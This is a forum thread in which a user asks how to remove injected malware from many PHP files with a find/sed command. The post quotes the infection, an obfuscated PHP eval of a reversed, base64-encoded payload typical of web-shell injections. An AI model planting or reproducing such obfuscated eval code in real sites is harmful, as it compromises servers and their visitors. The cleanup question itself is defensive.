Thread: Remove malware using sed

hi everyone,

want remove malvare in multiple files. trying using sed command this:

find /var/www/ -name \*.php -exec sed -i.bak "s/string_to_replace/replace_with_this/g" {} \;

code check in /var/www/ .php files , try replace string creating .bak files backups. code works great when need replace simple string how can replace malware code:

<?php
eval("\145\166\141\154\050\142\141\163\145\066\064 \137\144\145\143\157\144\145\050\163\164\162\162\1 45\166\050'==qfgsddphxzgstkog2c1xmzgszj+qhcpj3yz9c p+iycq5smucjlx0seyvwdxp2lt92yusmcvdxztfmcm1seyvwdx p2lvodc0rhai0zyynhi0bxayn2c8ccivh2ylbyegkskddcvov0 rb9lufnvvfbfvuh0jbjvrwjvrt9fjabclnk2cvugbn92bnxhel rmbhlhfyvwehxgctwvyprwzt1cxzd3bk5wa3xhzh9gbud3bkxh dufmdhxxyjlmcl1wy8h2cvrnbpnwyt9yjog2y0fwbfdwzybxig yijgkskddiufjvrgvkufbfvuh0jbjvrwjvrt9fjabclnk2cv0t c\/wvb8h2yyfwzz12lngcajrxyt91zljhcgwhfgksxnqltfduqfjv rtv1xqrfvidywsvkvsv0ufrcqgwyjpn3llrne812bvhhfhrge8 n3clxwzyl2d8n3biv2d8bxy3xxzu9mzhr2b2x3aulgbuwfc1xn cln3dvjnyuwfc1x3c1xwz0xxzslmyv1wl0xnbhlmytl3c8lnbv nhfl52bobhdyfwbzxxlll2c8bnchh2c81wznf2c8vmbvhgc8nh cpxwaobhfjlmbvnxyufgc81gbhbhfhl2av5gftmwzuxxys9mcv r3btxxai9wb8bxbtxhcklwb8lmbp1mlhjxzw9gfhzxyqxxztjj a8r2bwlgfxfgcpxhzhbxa8vmbvhgcpxxzslmyv1wzpx3y0hgfl 5wahxwz89wbvn2bkxhdlt2ypj3y8xgblngfx5wzixxeyjxzit2 yhxmy892z05wy2fgfkl2byrmbhxxav1wy8xwz0f2ysf2lngcaj rxyt91zljhcgwhfgksxnqfufn0qb9fuurfsnslufzlufn1xkae iscsaz9cbth3kcxwb0hgeuaxy35czuz3lc52bprxyjlgbwbxy8 xwb35cchdnlk5mdvwfd4vgdvcckongdh12xnvmcwhckgywa'\0 51\051\051\073");
?>

ideas?

Forum The Ubuntu Forum Community Ubuntu Official Flavours Support General Help [all variants] Remove malware using sed

Ubuntu